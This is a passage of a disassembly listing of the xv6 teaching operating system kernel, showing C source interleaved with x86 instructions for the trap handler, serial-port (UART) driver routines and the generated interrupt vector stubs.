80106e7a: 89 4c 24 0c mov %ecx,0xc(%esp)
80106e7e: 8b 55 e4 mov -0x1c(%ebp),%edx
80106e81: 89 54 24 08 mov %edx,0x8(%esp)
80106e85: 89 44 24 04 mov %eax,0x4(%esp)
80106e89: c7 04 24 28 8f 10 80 movl $0x80108f28,(%esp)
80106e90: e8 0c 95 ff ff call 801003a1 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpu->id, tf->eip,
rcr2());
proc->killed = 1;
80106e95: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106e9b: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
80106ea2: eb 01 jmp 80106ea5 <trap+0x1f6>
ideintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
80106ea4: 90 nop
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106ea5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106eab: 85 c0 test %eax,%eax
80106ead: 74 24 je 80106ed3 <trap+0x224>
80106eaf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106eb5: 8b 40 24 mov 0x24(%eax),%eax
80106eb8: 85 c0 test %eax,%eax
80106eba: 74 17 je 80106ed3 <trap+0x224>
80106ebc: 8b 45 08 mov 0x8(%ebp),%eax
80106ebf: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106ec3: 0f b7 c0 movzwl %ax,%eax
80106ec6: 83 e0 03 and $0x3,%eax
80106ec9: 83 f8 03 cmp $0x3,%eax
80106ecc: 75 05 jne 80106ed3 <trap+0x224>
exit();
80106ece: e8 9a da ff ff call 8010496d <exit>
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80106ed3: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106ed9: 85 c0 test %eax,%eax
80106edb: 74 1e je 80106efb <trap+0x24c>
80106edd: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106ee3: 8b 40 0c mov 0xc(%eax),%eax
80106ee6: 83 f8 04 cmp $0x4,%eax
80106ee9: 75 10 jne 80106efb <trap+0x24c>
80106eeb: 8b 45 08 mov 0x8(%ebp),%eax
80106eee: 8b 40 30 mov 0x30(%eax),%eax
80106ef1: 83 f8 20 cmp $0x20,%eax
80106ef4: 75 05 jne 80106efb <trap+0x24c>
yield();
80106ef6: e8 ce e0 ff ff call 80104fc9 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106efb: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106f01: 85 c0 test %eax,%eax
80106f03: 74 27 je 80106f2c <trap+0x27d>
80106f05: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106f0b: 8b 40 24 mov 0x24(%eax),%eax
80106f0e: 85 c0 test %eax,%eax
80106f10: 74 1a je 80106f2c <trap+0x27d>
80106f12: 8b 45 08 mov 0x8(%ebp),%eax
80106f15: 0f b7 40 3c movzwl 0x3c(%eax),%eax
80106f19: 0f b7 c0 movzwl %ax,%eax
80106f1c: 83 e0 03 and $0x3,%eax
80106f1f: 83 f8 03 cmp $0x3,%eax
80106f22: 75 08 jne 80106f2c <trap+0x27d>
exit();
80106f24: e8 44 da ff ff call 8010496d <exit>
80106f29: eb 01 jmp 80106f2c <trap+0x27d>
exit();
proc->tf = tf;
syscall();
if(proc->killed)
exit();
return;
80106f2b: 90 nop
yield();
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
}
80106f2c: 83 c4 3c add $0x3c,%esp
80106f2f: 5b pop %ebx
80106f30: 5e pop %esi
80106f31: 5f pop %edi
80106f32: 5d pop %ebp
80106f33: c3 ret
80106f34 <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80106f34: 55 push %ebp
80106f35: 89 e5 mov %esp,%ebp
80106f37: 53 push %ebx
80106f38: 83 ec 14 sub $0x14,%esp
80106f3b: 8b 45 08 mov 0x8(%ebp),%eax
80106f3e: 66 89 45 e8 mov %ax,-0x18(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80106f42: 0f b7 55 e8 movzwl -0x18(%ebp),%edx
80106f46: 66 89 55 ea mov %dx,-0x16(%ebp)
80106f4a: 0f b7 55 ea movzwl -0x16(%ebp),%edx
80106f4e: ec in (%dx),%al
80106f4f: 89 c3 mov %eax,%ebx
80106f51: 88 5d fb mov %bl,-0x5(%ebp)
return data;
80106f54: 0f b6 45 fb movzbl -0x5(%ebp),%eax
}
80106f58: 83 c4 14 add $0x14,%esp
80106f5b: 5b pop %ebx
80106f5c: 5d pop %ebp
80106f5d: c3 ret
80106f5e <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80106f5e: 55 push %ebp
80106f5f: 89 e5 mov %esp,%ebp
80106f61: 83 ec 08 sub $0x8,%esp
80106f64: 8b 55 08 mov 0x8(%ebp),%edx
80106f67: 8b 45 0c mov 0xc(%ebp),%eax
80106f6a: 66 89 55 fc mov %dx,-0x4(%ebp)
80106f6e: 88 45 f8 mov %al,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80106f71: 0f b6 45 f8 movzbl -0x8(%ebp),%eax
80106f75: 0f b7 55 fc movzwl -0x4(%ebp),%edx
80106f79: ee out %al,(%dx)
}
80106f7a: c9 leave
80106f7b: c3 ret
80106f7c <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80106f7c: 55 push %ebp
80106f7d: 89 e5 mov %esp,%ebp
80106f7f: 83 ec 28 sub $0x28,%esp
char *p;
// Turn off the FIFO
outb(COM1+2, 0);
80106f82: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106f89: 00
80106f8a: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106f91: e8 c8 ff ff ff call 80106f5e <outb>
// 9600 baud, 8 data bits, 1 stop bit, parity off.
outb(COM1+3, 0x80); // Unlock divisor
80106f96: c7 44 24 04 80 00 00 movl $0x80,0x4(%esp)
80106f9d: 00
80106f9e: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106fa5: e8 b4 ff ff ff call 80106f5e <outb>
outb(COM1+0, 115200/9600);
80106faa: c7 44 24 04 0c 00 00 movl $0xc,0x4(%esp)
80106fb1: 00
80106fb2: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106fb9: e8 a0 ff ff ff call 80106f5e <outb>
outb(COM1+1, 0);
80106fbe: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106fc5: 00
80106fc6: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106fcd: e8 8c ff ff ff call 80106f5e <outb>
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
80106fd2: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80106fd9: 00
80106fda: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106fe1: e8 78 ff ff ff call 80106f5e <outb>
outb(COM1+4, 0);
80106fe6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106fed: 00
80106fee: c7 04 24 fc 03 00 00 movl $0x3fc,(%esp)
80106ff5: e8 64 ff ff ff call 80106f5e <outb>
outb(COM1+1, 0x01); // Enable receive interrupts.
80106ffa: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80107001: 00
80107002: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80107009: e8 50 ff ff ff call 80106f5e <outb>
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
8010700e: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80107015: e8 1a ff ff ff call 80106f34 <inb>
8010701a: 3c ff cmp $0xff,%al
8010701c: 74 6c je 8010708a <uartinit+0x10e>
return;
uart = 1;
8010701e: c7 05 6c c6 10 80 01 movl $0x1,0x8010c66c
80107025: 00 00 00
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
80107028: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
8010702f: e8 00 ff ff ff call 80106f34 <inb>
inb(COM1+0);
80107034: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
8010703b: e8 f4 fe ff ff call 80106f34 <inb>
picenable(IRQ_COM1);
80107040: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80107047: e8 b5 cd ff ff call 80103e01 <picenable>
ioapicenable(IRQ_COM1, 0);
8010704c: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80107053: 00
80107054: c7 04 24 04 00 00 00 movl $0x4,(%esp)
8010705b: e8 22 b9 ff ff call 80102982 <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80107060: c7 45 f4 ec 8f 10 80 movl $0x80108fec,-0xc(%ebp)
80107067: eb 15 jmp 8010707e <uartinit+0x102>
uartputc(*p);
80107069: 8b 45 f4 mov -0xc(%ebp),%eax
8010706c: 0f b6 00 movzbl (%eax),%eax
8010706f: 0f be c0 movsbl %al,%eax
80107072: 89 04 24 mov %eax,(%esp)
80107075: e8 13 00 00 00 call 8010708d <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
8010707a: 83 45 f4 01 addl $0x1,-0xc(%ebp)
8010707e: 8b 45 f4 mov -0xc(%ebp),%eax
80107081: 0f b6 00 movzbl (%eax),%eax
80107084: 84 c0 test %al,%al
80107086: 75 e1 jne 80107069 <uartinit+0xed>
80107088: eb 01 jmp 8010708b <uartinit+0x10f>
outb(COM1+4, 0);
outb(COM1+1, 0x01); // Enable receive interrupts.
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
return;
8010708a: 90 nop
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
uartputc(*p);
}
8010708b: c9 leave
8010708c: c3 ret
8010708d <uartputc>:
void
uartputc(int c)
{
8010708d: 55 push %ebp
8010708e: 89 e5 mov %esp,%ebp
80107090: 83 ec 28 sub $0x28,%esp
int i;
if(!uart)
80107093: a1 6c c6 10 80 mov 0x8010c66c,%eax
80107098: 85 c0 test %eax,%eax
8010709a: 74 4d je 801070e9 <uartputc+0x5c>
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
8010709c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801070a3: eb 10 jmp 801070b5 <uartputc+0x28>
microdelay(10);
801070a5: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
801070ac: e8 93 be ff ff call 80102f44 <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
801070b1: 83 45 f4 01 addl $0x1,-0xc(%ebp)
801070b5: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp)
801070b9: 7f 16 jg 801070d1 <uartputc+0x44>
801070bb: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
801070c2: e8 6d fe ff ff call 80106f34 <inb>
801070c7: 0f b6 c0 movzbl %al,%eax
801070ca: 83 e0 20 and $0x20,%eax
801070cd: 85 c0 test %eax,%eax
801070cf: 74 d4 je 801070a5 <uartputc+0x18>
microdelay(10);
outb(COM1+0, c);
801070d1: 8b 45 08 mov 0x8(%ebp),%eax
801070d4: 0f b6 c0 movzbl %al,%eax
801070d7: 89 44 24 04 mov %eax,0x4(%esp)
801070db: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
801070e2: e8 77 fe ff ff call 80106f5e <outb>
801070e7: eb 01 jmp 801070ea <uartputc+0x5d>
uartputc(int c)
{
int i;
if(!uart)
return;
801070e9: 90 nop
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
outb(COM1+0, c);
}
801070ea: c9 leave
801070eb: c3 ret
801070ec <uartgetc>:
static int
uartgetc(void)
{
801070ec: 55 push %ebp
801070ed: 89 e5 mov %esp,%ebp
801070ef: 83 ec 04 sub $0x4,%esp
if(!uart)
801070f2: a1 6c c6 10 80 mov 0x8010c66c,%eax
801070f7: 85 c0 test %eax,%eax
801070f9: 75 07 jne 80107102 <uartgetc+0x16>
return -1;
801070fb: b8 ff ff ff ff mov $0xffffffff,%eax
80107100: eb 2c jmp 8010712e <uartgetc+0x42>
if(!(inb(COM1+5) & 0x01))
80107102: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80107109: e8 26 fe ff ff call 80106f34 <inb>
8010710e: 0f b6 c0 movzbl %al,%eax
80107111: 83 e0 01 and $0x1,%eax
80107114: 85 c0 test %eax,%eax
80107116: 75 07 jne 8010711f <uartgetc+0x33>
return -1;
80107118: b8 ff ff ff ff mov $0xffffffff,%eax
8010711d: eb 0f jmp 8010712e <uartgetc+0x42>
return inb(COM1+0);
8010711f: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80107126: e8 09 fe ff ff call 80106f34 <inb>
8010712b: 0f b6 c0 movzbl %al,%eax
}
8010712e: c9 leave
8010712f: c3 ret
80107130 <uartintr>:
void
uartintr(void)
{
80107130: 55 push %ebp
80107131: 89 e5 mov %esp,%ebp
80107133: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80107136: c7 04 24 ec 70 10 80 movl $0x801070ec,(%esp)
8010713d: e8 6b 96 ff ff call 801007ad <consoleintr>
}
80107142: c9 leave
80107143: c3 ret
80107144 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80107144: 6a 00 push $0x0
pushl $0
80107146: 6a 00 push $0x0
jmp alltraps
80107148: e9 67 f9 ff ff jmp 80106ab4 <alltraps>
8010714d <vector1>:
.globl vector1
vector1:
pushl $0
8010714d: 6a 00 push $0x0
pushl $1
8010714f: 6a 01 push $0x1
jmp alltraps
80107151: e9 5e f9 ff ff jmp 80106ab4 <alltraps>
80107156 <vector2>:
.globl vector2
vector2:
pushl $0
80107156: 6a 00 push $0x0
pushl $2
80107158: 6a 02 push $0x2
jmp alltraps
8010715a: e9 55 f9 ff ff jmp 80106ab4 <alltraps>
8010715f <vector3>:
.globl vector3
vector3:
pushl $0
8010715f: 6a 00 push $0x0
pushl $3
80107161: 6a 03 push $0x3
jmp alltraps
80107163: e9 4c f9 ff ff jmp 80106ab4 <alltraps>
80107168 <vector4>:
.globl vector4
vector4:
pushl $0
80107168: 6a 00 push $0x0
pushl $4
8010716a: 6a 04 push $0x4
jmp alltraps
8010716c: e9 43 f9 ff ff jmp 80106ab4 <alltraps>
80107171 <vector5>:
.globl vector5
vector5:
pushl $0
80107171: 6a 00 push $0x0
pushl $5
80107173: 6a 05 push $0x5
jmp alltraps
80107175: e9 3a f9 ff ff jmp 80106ab4 <alltraps>
8010717a <vector6>:
.globl vector6
vector6:
pushl $0
8010717a: 6a 00 push $0x0
pushl $6
8010717c: 6a 06 push $0x6
jmp alltraps
8010717e: e9 31 f9 ff ff jmp 80106ab4 <alltraps>
80107183 <vector7>:
.globl vector7
vector7:
pushl $0
80107183: 6a 00 push $0x0
pushl $7
80107185: 6a 07 push $0x7
jmp alltraps
80107187: e9 28 f9 ff ff jmp 80106ab4 <alltraps>
8010718c <vector8>:
.globl vector8
vector8:
pushl $8
8010718c: 6a 08 push $0x8
jmp alltraps
8010718e: e9 21 f9 ff ff jmp 80106ab4 <alltraps>
80107193 <vector9>:
.globl vector9
vector9:
pushl $0
80107193: 6a 00 push $0x0
pushl $9
80107195: 6a 09 push $0x9
jmp alltraps
80107197: e9 18 f9 ff ff jmp 80106ab4 <alltraps>
8010719c <vector10>:
.globl vector10
vector10:
pushl $10
8010719c: 6a 0a push $0xa
jmp alltraps
8010719e: e9 11 f9 ff ff jmp 80106ab4 <alltraps>
801071a3 <vector11>:
.globl vector11
vector11:
pushl $11
801071a3: 6a 0b push $0xb
jmp alltraps
801071a5: e9 0a f9 ff ff jmp 80106ab4 <alltraps>
801071aa <vector12>:
.globl vector12
vector12:
pushl $12
801071aa: 6a 0c push $0xc
jmp alltraps
801071ac: e9 03 f9 ff ff jmp 80106ab4 <alltraps>
801071b1 <vector13>:
.globl vector13
vector13:
pushl $13
801071b1: 6a 0d push $0xd
jmp alltraps
801071b3: e9 fc f8 ff ff jmp 80106ab4 <alltraps>
801071b8 <vector14>:
.globl vector14
vector14:
pushl $14
801071b8: 6a 0e push $0xe
jmp alltraps
801071ba: e9 f5 f8 ff ff jmp 80106ab4 <alltraps>
801071bf <vector15>:
.globl vector15
vector15:
pushl $0
801071bf: 6a 00 push $0x0
pushl $15
801071c1: 6a 0f push $0xf
jmp alltraps
801071c3: e9 ec f8 ff ff jmp 80106ab4 <alltraps>
801071c8 <vector16>:
.globl vector16
vector16:
pushl $0
801071c8: 6a 00 push $0x0
pushl $16
801071ca: 6a 10 push $0x10
jmp alltraps
801071cc: e9 e3 f8 ff ff jmp 80106ab4 <alltraps>
801071d1 <vector17>:
.globl vector17
vector17:
pushl $17
801071d1: 6a 11 push $0x11
jmp alltraps
801071d3: e9 dc f8 ff ff jmp 80106ab4 <alltraps>
801071d8 <vector18>:
.globl vector18
vector18:
pushl $0
801071d8: 6a 00 push $0x0
pushl $18
801071da: 6a 12 push $0x12
jmp alltraps
801071dc: e9 d3 f8 ff ff jmp 80106ab4 <alltraps>
801071e1 <vector19>:
.globl vector19
vector19:
pushl $0
801071e1: 6a 00 push $0x0
pushl $19
801071e3: 6a 13 push $0x13
jmp alltraps
801071e5: e9 ca f8 ff ff jmp 80106ab4 <alltraps>
801071ea <vector20>:
.globl vector20
vector20:
pushl $0
801071ea: 6a 00 push $0x0
pushl $20
801071ec: 6a 14 push $0x14
jmp alltraps
801071ee: e9 c1 f8 ff ff jmp 80106ab4 <alltraps>
801071f3 <vector21>:
.globl vector21
vector21:
pushl $0
801071f3: 6a 00 push $0x0
pushl $21
801071f5: 6a 15 push $0x15
jmp alltraps
801071f7: e9 b8 f8 ff ff jmp 80106ab4 <alltraps>
801071fc <vector22>:
.globl vector22
vector22:
pushl $0
801071fc: 6a 00 push $0x0
pushl $22
801071fe: 6a 16 push $0x16
jmp alltraps
80107200: e9 af f8 ff ff jmp 80106ab4 <alltraps>
80107205 <vector23>:
.globl vector23
vector23:
pushl $0
80107205: 6a 00 push $0x0
pushl $23
80107207: 6a 17 push $0x17
jmp alltraps
80107209: e9 a6 f8 ff ff jmp 80106ab4 <alltraps>
8010720e <vector24>:
.globl vector24
vector24:
pushl $0
8010720e: 6a 00 push $0x0
pushl $24
80107210: 6a 18 push $0x18
jmp alltraps
80107212: e9 9d f8 ff ff jmp 80106ab4 <alltraps>
80107217 <vector25>:
.globl vector25
vector25:
pushl $0
80107217: 6a 00 push $0x0
pushl $25
80107219: 6a 19 push $0x19
jmp alltraps
8010721b: e9 94 f8 ff ff jmp 80106ab4 <alltraps>
80107220 <vector26>:
.globl vector26
vector26:
pushl $0
80107220: 6a 00 push $0x0
pushl $26
80107222: 6a 1a push $0x1a
jmp alltraps
80107224: e9 8b f8 ff ff jmp 80106ab4 <alltraps>
80107229 <vector27>:
.globl vector27
vector27:
pushl $0
80107229: 6a 00 push $0x0
pushl $27
8010722b: 6a 1b push $0x1b
jmp alltraps
8010722d: e9 82 f8 ff ff jmp 80106ab4 <alltraps>
80107232 <vector28>:
.globl vector28
vector28:
pushl $0
80107232: 6a 00 push $0x0
pushl $28
80107234: 6a 1c push $0x1c
jmp alltraps
80107236: e9 79 f8 ff ff jmp 80106ab4 <alltraps>
8010723b <vector29>:
.globl vector29
vector29:
pushl $0
8010723b: 6a 00 push $0x0
pushl $29
8010723d: 6a 1d push $0x1d
jmp alltraps
8010723f: e9 70 f8 ff ff jmp 80106ab4 <alltraps>
80107244 <vector30>:
.globl vector30
vector30:
pushl $0
80107244: 6a 00 push $0x0
pushl $30
80107246: 6a 1e push $0x1e
jmp alltraps
80107248: e9 67 f8 ff ff jmp 80106ab4 <alltraps>
8010724d <vector31>:
.globl vector31
vector31:
pushl $0
8010724d: 6a 00 push $0x0
pushl $31
8010724f: 6a 1f push $0x1f
jmp alltraps
80107251: e9 5e f8 ff ff jmp 80106ab4 <alltraps>
80107256 <vector32>:
.globl vector32
vector32:
pushl $0
80107256: 6a 00 push $0x0
pushl $32
80107258: 6a 20 push $0x20
jmp alltraps
8010725a: e9 55 f8 ff ff jmp 80106ab4 <alltraps>
8010725f <vector33>:
.globl vector33
vector33:
pushl $0
8010725f: 6a 00 push $0x0
pushl $33
80107261: 6a 21 push $0x21
jmp alltraps
80107263: e9 4c f8 ff ff jmp 80106ab4 <alltraps>
80107268 <vector34>:
.globl vector34
vector34:
pushl $0
80107268: 6a 00 push $0x0
pushl $34
8010726a: 6a 22 push $0x22
jmp alltraps
8010726c: e9 43 f8 ff ff jmp 80106ab4 <alltraps>
80107271 <vector35>:
.globl vector35
vector35:
pushl $0
80107271: 6a 00 push $0x0
pushl $35
80107273: 6a 23 push $0x23
jmp alltraps
80107275: e9 3a f8 ff ff jmp 80106ab4 <alltraps>
8010727a <vector36>:
.globl vector36
vector36:
pushl $0
8010727a: 6a 00 push $0x0
pushl $36
8010727c: 6a 24 push $0x24
jmp alltraps
8010727e: e9 31 f8 ff ff jmp 80106ab4 <alltraps>
80107283 <vector37>:
.globl vector37
vector37:
pushl $0
80107283: 6a 00 push $0x0
pushl $37
80107285: 6a 25 push $0x25
jmp alltraps
80107287: e9 28 f8 ff ff jmp 80106ab4 <alltraps>
8010728c <vector38>:
.globl vector38
vector38:
pushl $0
8010728c: 6a 00 push $0x0
pushl $38
8010728e: 6a 26 push $0x26
jmp alltraps
80107290: e9 1f f8 ff ff jmp 80106ab4 <alltraps>
80107295 <vector39>:
.globl vector39
vector39:
pushl $0
80107295: 6a 00 push $0x0
pushl $39
80107297: 6a 27 push $0x27
jmp alltraps
80107299: e9 16 f8 ff ff jmp 80106ab4 <alltraps>
8010729e <vector40>:
.globl vector40
vector40:
pushl $0
8010729e: 6a 00 push $0x0
pushl $40
801072a0: 6a 28 push $0x28
jmp alltraps
801072a2: e9 0d f8 ff ff jmp 80106ab4 <alltraps>
801072a7 <vector41>:
.globl vector41
vector41:
pushl $0
801072a7: 6a 00 push $0x0
pushl $41
801072a9: 6a 29 push $0x29
jmp alltraps
801072ab: e9 04 f8 ff ff jmp 80106ab4 <alltraps>
801072b0 <vector42>:
.globl vector42
vector42:
pushl $0
801072b0: 6a 00 push $0x0
pushl $42
801072b2: 6a 2a push $0x2a
jmp alltraps
801072b4: e9 fb f7 ff ff jmp 80106ab4 <alltraps>
801072b9 <vector43>:
.globl vector43
vector43:
pushl $0
801072b9: 6a 00 push $0x0
pushl $43
801072bb: 6a 2b push $0x2b
jmp alltraps
801072bd: e9 f2 f7 ff ff jmp 80106ab4 <alltraps>
801072c2 <vector44>:
.globl vector44
vector44:
pushl $0
801072c2: 6a 00 push $0x0
pushl $44
801072c4: 6a 2c push $0x2c
jmp alltraps
801072c6: e9 e9 f7 ff ff jmp 80106ab4 <alltraps>
801072cb <vector45>:
.globl vector45
vector45:
pushl $0
801072cb: 6a 00 push $0x0
pushl $45
801072cd: 6a 2d push $0x2d
jmp alltraps
801072cf: e9 e0 f7 ff ff jmp 80106ab4 <alltraps>
801072d4 <vector46>:
.globl vector46
vector46:
pushl $0
801072d4: 6a 00 push $0x0
pushl $46
801072d6: 6a 2e push $0x2e
jmp alltraps
801072d8: e9 d7 f7 ff ff jmp 80106ab4 <alltraps>
801072dd <vector47>:
.globl vector47
vector47:
pushl $0
801072dd: 6a 00 push $0x0
pushl $47
801072df: 6a 2f push $0x2f
jmp alltraps
801072e1: e9 ce f7 ff ff jmp 80106ab4 <alltraps>
801072e6 <vector48>:
.globl vector48
vector48:
pushl $0
801072e6: 6a 00 push $0x0
pushl $48
801072e8: 6a 30 push $0x30
jmp alltraps
801072ea: e9 c5 f7 ff ff jmp 80106ab4 <alltraps>
801072ef <vector49>:
.globl vector49
vector49:
pushl $0
801072ef: 6a 00 push $0x0
pushl $49
801072f1: 6a 31 push $0x31
jmp alltraps
801072f3: e9 bc f7 ff ff jmp 80106ab4 <alltraps>
801072f8 <vector50>:
.globl vector50
vector50:
pushl $0
801072f8: 6a 00 push $0x0
pushl $50
801072fa: 6a 32 push $0x32
jmp alltraps
801072fc: e9 b3 f7 ff ff jmp 80106ab4 <alltraps>
80107301 <vector51>:
.globl vector51
vector51:
pushl $0
80107301: 6a 00 push $0x0
pushl $51
80107303: 6a 33 push $0x33
jmp alltraps
80107305: e9 aa f7 ff ff jmp 80106ab4 <alltraps>
8010730a <vector52>:
.globl vector52
vector52:
pushl $0
8010730a: 6a 00 push $0x0
pushl $52
8010730c: 6a 34 push $0x34
jmp alltraps
8010730e: e9 a1 f7 ff ff jmp 80106ab4 <alltraps>
80107313 <vector53>:
.globl vector53
vector53:
pushl $0
80107313: 6a 00 push $0x0
pushl $53
80107315: 6a 35 push $0x35
jmp alltraps
80107317: e9 98 f7 ff ff jmp 80106ab4 <alltraps>
8010731c <vector54>:
.globl vector54
vector54:
pushl $0
8010731c: 6a 00 push $0x0
pushl $54
8010731e: 6a 36 push $0x36
jmp alltraps
80107320: e9 8f f7 ff ff jmp 80106ab4 <alltraps>
80107325 <vector55>:
.globl vector55
vector55:
pushl $0
80107325: 6a 00 push $0x0
pushl $55
80107327: 6a 37 push $0x37
jmp alltraps
80107329: e9 86 f7 ff ff jmp 80106ab4 <alltraps>
8010732e <vector56>:
.globl vector56
vector56:
pushl $0
8010732e: 6a 00 push $0x0
pushl $56
80107330: 6a 38 push $0x38
jmp alltraps
80107332: e9 7d f7 ff ff jmp 80106ab4 <alltraps>
80107337 <vector57>:
.globl vector57
vector57:
pushl $0
80107337: 6a 00 push $0x0
pushl $57
80107339: 6a 39 push $0x39
jmp alltraps
8010733b: e9 74 f7 ff ff jmp 80106ab4 <alltraps>
80107340 <vector58>:
.globl vector58
vector58:
pushl $0
80107340: 6a 00 push $0x0
pushl $58
80107342: 6a 3a push $0x3a
jmp alltraps
80107344: e9 6b f7 ff ff jmp 80106ab4 <alltraps>
80107349 <vector59>:
.globl vector59
vector59:
pushl $0
80107349: 6a 00 push $0x0
pushl $59
8010734b: 6a 3b push $0x3b
jmp alltraps
8010734d: e9 62 f7 ff ff jmp 80106ab4 <alltraps>
80107352 <vector60>:
.globl vector60
vector60:
pushl $0
80107352: 6a 00 push $0x0
pushl $60
80107354: 6a 3c push $0x3c
jmp alltraps
80107356: e9 59 f7 ff ff jmp 80106ab4 <alltraps>
8010735b <vector61>:
.globl vector61
vector61:
pushl $0
8010735b: 6a 00 push $0x0
pushl $61
8010735d: 6a 3d push $0x3d
jmp alltraps
8010735f: e9 50 f7 ff ff jmp 80106ab4 <alltraps>
80107364 <vector62>:
.globl vector62
vector62:
pushl $0
80107364: 6a 00 push $0x0
pushl $62
80107366: 6a 3e push $0x3e
jmp alltraps
80107368: e9 47 f7 ff ff jmp 80106ab4 <alltraps>
8010736d <vector63>:
.globl vector63
vector63:
pushl $0
8010736d: 6a 00 push $0x0
pushl $63
8010736f: 6a 3f push $0x3f
jmp alltraps
80107371: e9 3e f7 ff ff jmp 80106ab4 <alltraps>
80107376 <vector64>:
.globl vector64
vector64:
pushl $0
80107376: 6a 00 push $0x0
pushl $64
80107378: 6a 40 push $0x40
jmp alltraps
8010737a: e9 35 f7 ff ff jmp 80106ab4 <alltraps>
8010737f <vector65>:
.globl vector65
vector65:
pushl $0
8010737f: 6a 00 push $0x0
pushl $65
80107381: 6a 41 push $0x41
jmp alltraps
80107383: e9 2c f7 ff ff jmp 80106ab4 <alltraps>
80107388 <vector66>:
.globl vector66
vector66:
pushl $0
80107388: 6a 00 push $0x0
pushl $66
8010738a: 6a 42 push $0x42
jmp alltraps
8010738c: e9 23 f7 ff ff jmp 80106ab4 <alltraps>
80107391 <vector67>:
.globl vector67
vector67:
pushl $0
80107391: 6a 00 push $0x0
pushl $67
80107393: 6a 43 push $0x43
jmp alltraps
80107395: e9 1a f7 ff ff jmp 80106ab4 <alltraps>
8010739a <vector68>:
.globl vector68
vector68:
pushl $0
8010739a: 6a 00 push $0x0
pushl $68
8010739c: 6a 44 push $0x44
jmp alltraps
8010739e: e9 11 f7 ff ff jmp 80106ab4 <alltraps>
801073a3 <vector69>:
.globl vector69
vector69:
pushl $0
801073a3: 6a 00 push $0x0
pushl $69
801073a5: 6a 45 push $0x45
jmp alltraps
801073a7: e9 08 f7 ff ff jmp 80106ab4 <alltraps>
801073ac <vector70>:
.globl vector70
vector70:
pushl $0
801073ac: 6a 00 push $0x0
pushl $70
801073ae: 6a 46 push $0x46
jmp alltraps
801073b0: e9 ff f6 ff ff jmp 80106ab4 <alltraps>
801073b5 <vector71>:
.globl vector71
vector71:
pushl $0
801073b5: 6a 00 push $0x0
pushl $71
801073b7: 6a 47 push $0x47
jmp alltraps
801073b9: e9 f6 f6 ff ff jmp 80106ab4 <alltraps>
801073be <vector72>:
.globl vector72
vector72:
pushl $0
801073be: 6a 00 push $0x0
pushl $72
801073c0: 6a 48 push $0x48
jmp alltraps
801073c2: e9 ed f6 ff ff jmp 80106ab4 <alltraps>
801073c7 <vector73>:
.globl vector73
vector73:
pushl $0
801073c7: 6a 00 push $0x0
pushl $73
801073c9: 6a 49 push $0x49
jmp alltraps
801073cb: e9 e4 f6 ff ff jmp 80106ab4 <alltraps>
801073d0 <vector74>:
.globl vector74
vector74:
pushl $0
801073d0: 6a 00 push $0x0
pushl $74
